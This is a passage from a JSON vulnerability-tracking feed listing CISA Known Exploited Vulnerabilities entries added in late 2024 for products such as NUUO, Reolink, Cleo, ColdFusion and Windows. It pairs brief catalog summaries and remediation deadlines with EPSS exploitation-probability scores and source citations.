vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The impacted product is end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue utilization of the product.","publishedAt":"2024-12-18","updatedAt":null,"regions":["Global"],"vendor":"NUUO","product":"NVRmini Devices","stacks":["NUUO","NVRmini Devices"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-12-18","dueAt":"2025-01-08","action":"The impacted product is end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue utilization of the product.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.94761,"percentile":0.99857,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-14933&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-14933","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-12-18","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-14933 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-14933&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-14933, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-11001","cveId":"CVE-2019-11001","aliases":[],"kind":"vulnerability","title":"Reolink Multiple IP Cameras OS Command Injection Vulnerability","summary":"Reolink RLC-410W, C1 Pro, C2 Pro, RLC-422W, and RLC-511W IP cameras contain an authenticated OS command injection vulnerability. This vulnerability allows an authenticated admin to use the \"TestEmail\" functionality to inject and run OS commands as root.","detail":"CISA added this entry on 2024-12-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The impacted product could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization if a current mitigation is unavailable.","publishedAt":"2024-12-18","updatedAt":null,"regions":["Global"],"vendor":"Reolink","product":"Multiple IP Cameras","stacks":["Reolink","Multiple IP Cameras"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-12-18","dueAt":"2025-01-08","action":"The impacted product could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization if a current mitigation is unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.37542,"percentile":0.98524,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-11001&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-11001","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-12-18","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-11001 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-11001&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-11001, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-40407","cveId":"CVE-2021-40407","aliases":[],"kind":"vulnerability","title":"Reolink RLC-410W IP Camera OS Command Injection Vulnerability","summary":"Reolink RLC-410W IP cameras contain an authenticated OS command injection vulnerability in the device network settings functionality.","detail":"CISA added this entry on 2024-12-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The impacted product could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization if a current mitigation is unavailable.","publishedAt":"2024-12-18","updatedAt":null,"regions":["Global"],"vendor":"Reolink","product":"RLC-410W IP Camera","stacks":["Reolink","RLC-410W IP Camera"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-12-18","dueAt":"2025-01-08","action":"The impacted product could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization if a current mitigation is unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.47635,"percentile":0.98837,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-40407&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-40407","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-12-18","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-40407 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-40407&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-40407, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-23227","cveId":"CVE-2022-23227","aliases":[],"kind":"vulnerability","title":"NUUO NVRmini2 Devices Missing Authentication Vulnerability","summary":"NUUO NVRmini2 devices contain a missing authentication vulnerability that allows an unauthenticated attacker to upload an encrypted TAR archive, which can be abused to add arbitrary users.","detail":"CISA added this entry on 2024-12-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The impacted product is end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue utilization of the product.","publishedAt":"2024-12-18","updatedAt":null,"regions":["Global"],"vendor":"NUUO","product":"NVRmini2 Devices","stacks":["NUUO","NVRmini2 Devices"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-12-18","dueAt":"2025-01-08","action":"The impacted product is end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue utilization of the product.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.48497,"percentile":0.98858,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-23227&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-23227","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-12-18","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-23227 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-23227&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-23227, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-55956","cveId":"CVE-2024-55956","aliases":[],"kind":"vulnerability","title":"Cleo Multiple Products Unauthenticated File Upload Vulnerability","summary":"Cleo Harmony, VLTrader, and LexiCom, which are managed file transfer products, contain an unrestricted file upload vulnerability that could allow an unauthenticated user to import and execute arbitrary bash or PowerShell commands on the host system by leveraging the default settings of the Autorun directory.","detail":"CISA added this entry on 2024-12-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-12-17","updatedAt":null,"regions":["Global"],"vendor":"Cleo","product":"Multiple Products","stacks":["Cleo","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-12-17","dueAt":"2025-01-07","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.93968,"percentile":0.99844,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-55956&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-55956","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-12-17","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-55956 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-55956&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-55956, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-20767","cveId":"CVE-2024-20767","aliases":[],"kind":"vulnerability","title":"Adobe ColdFusion Improper Access Control Vulnerability","summary":"Adobe ColdFusion contains an improper access control vulnerability that could allow an attacker to access or modify restricted files via an internet-exposed admin panel.","detail":"CISA added this entry on 2024-12-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-12-16","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"ColdFusion","stacks":["Adobe","ColdFusion"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-12-16","dueAt":"2025-01-06","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.98514,"percentile":0.9992,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-20767&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-20767","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-12-16","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-20767 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-20767&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-20767, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-35250","cveId":"CVE-2024-35250","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Kernel-Mode Driver Untrusted Pointer Dereference Vulnerability","summary":"Microsoft Windows Kernel-Mode Driver contains an untrusted pointer dereference vulnerability that allows a local attacker to escalate privileges.","detail":"CISA added this entry on 2024-12-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-12-16","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-12-16","dueAt":"2025-01-06","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.25222,"percentile":0.97921,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-35250&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-35250","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-12-16","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-35250 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-35250&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-35250, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-50623","cveId":"CVE-2024-50623","aliases":[],"kind":"vulnerability","title":"Cleo Multiple Products Unrestricted File Upload Vulnerability","summary":"Cleo Harmony, VLTrader, and LexiCom, which are managed file transfer products, contain an unrestricted file upload and download vulnerability that can lead to remote code execution with elevated privileges.","detail":"CISA added this entry on 2024-12-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-12-13","updatedAt":null,"regions":["Global"],"vendor":"Cleo","product":"Multiple Products","stacks":["Cleo","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-12-13","dueAt":"2025-01-03","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.98607,"percentile":0.99922,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-50623&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-50623","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-12-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-50623 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-50623&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-50623, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-49138","cveId":"CVE-2024-49138","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Common Log File System (CLFS) Driver Heap-Based Buffer Overflow Vulnerability","summary":"Microsoft Windows Common Log File System (CLFS) driver contains a heap-based buffer overflow vulnerability that allows a local attacker to escalate privileges.","detail":"CISA added this entry on 2024-12-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-12-10","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-12-10","dueAt":"2024-12-31","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.26215,"percentile":0.97983,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-49138&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-49138","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-12-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-49138 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-49138&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-49138, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-51378","cveId":"CVE-2024-51378","aliases":[],"kind":"vulnerability","title":"CyberPanel Incorrect Default Permissions Vulnerability","summary":"CyberPanel contains an incorrect default permissions vulnerability that allows for authentication bypass and the execution of arbitrary commands using shell metacharacters in the statusfile property.","detail":"CISA added this entry on 2024-12-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-12-04","updatedAt":null,"regions":["Global"],"vendor":"CyberPersons","product":"CyberPanel","stacks":["CyberPersons","CyberPanel"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-12-04","dueAt":"2024-12-25","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.94748,"percentile":0.99857,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-51378&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-51378","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-12-04","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-51378 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-51378&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-51378, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-45727","cveId":"CVE-2023-45727","aliases":[],"kind":"vulnerability","title":"North Grid Proself Improper Restriction of XML External Entity (XXE) Reference Vulnerability","summary":"North Grid Proself Enterprise/Standard, Gateway, and Mail Sanitize contain an improper restriction of XML External Entity (XXE) reference vulnerability, which could allow a remote, unauthenticated attacker to conduct an XXE attack.","detail":"CISA added this entry on 2024-12-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-12-03","updatedAt":null,"regions":["Global"],"vendor":"North Grid","product":"Proself","stacks":["North Grid","Proself"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-12-03","dueAt":"2024-12-24","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.04822,"percentile":0.91914,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-45727&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-45727","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-12-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-45727 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-45727&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-45727, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-11667","cveId":"CVE-2024-11667","aliases":[],"kind":"vulnerability","title":"Zyxel Multiple Firewalls Path Traversal Vulnerability","summary":"Multiple Zyxel firewalls contain a path traversal vulnerability in the web management interface that could allow an attacker to download or upload files via a crafted URL.","detail":"CISA added this entry on 2024-12-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-12-03","updatedAt":null,"regions":["Global"],"vendor":"Zyxel","product":"Multiple Firewalls","stacks":["Zyxel","Multiple Firewalls"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-12-03","dueAt":"2024-12-24","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.02929,"percentile":0.8698,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-11667&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-11667","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-12-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-11667 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-11667&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-11667, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-11680","cveId":"CVE-2024-11680","aliases":[],"kind":"vulnerability","title":"ProjectSend Improper Authentication Vulnerability","summary":"ProjectSend contains an improper authentication vulnerability that allows a remote, unauthenticated attacker to enable unauthorized modification of the application's configuration via crafted HTTP requests to options.php. Successful exploitation allows attackers to create accounts, upload webshells, and embed malicious JavaScript.","detail":"CISA added this entry on 2024-12-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-12-03","updatedAt":null,"regions":["Global"],"vendor":"ProjectSend","product":"ProjectSend","stacks":["ProjectSend"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-12-03","dueAt":"2024-12-24","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.91849,"percentile":0.99815,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-11680&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-11680","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-12-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-11680 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-11680&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-11680, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-28461","cveId":"CVE-2023-28461","aliases":[],"kind":"vulnerability","title":"Array Networks AG and vxAG ArrayOS Missing Authentication for Critical Function Vulnerability","summary":"Array Networks AG and vxAG ArrayOS contain a missing authentication for critical function vulnerability that allows an attacker to read local files and execute code on the SSL VPN gateway.","detail":"CISA added this entry on 2024-11-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-11-25","updatedAt":null,"regions":["Global"],"vendor":"Array Networks","product":"AG/vxAG ArrayOS","stacks":["Array Networks","AG/vxAG ArrayOS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-11-25","dueAt":"2024-12-16","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.68079,"percentile":0.99321,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-28461&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-28461","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-11-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-28461 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-28461&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-28461, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-21287","cveId":"CVE-2024-21287","aliases":[],"kind":"vulnerability","title":"Oracle Agile Product Lifecycle Management (PLM) Incorrect Authorization Vulnerability","summary":"Oracle Agile Product Lifecycle Management (PLM) contains an incorrect authorization vulnerability in the Process Extension component of the Software Development Kit. 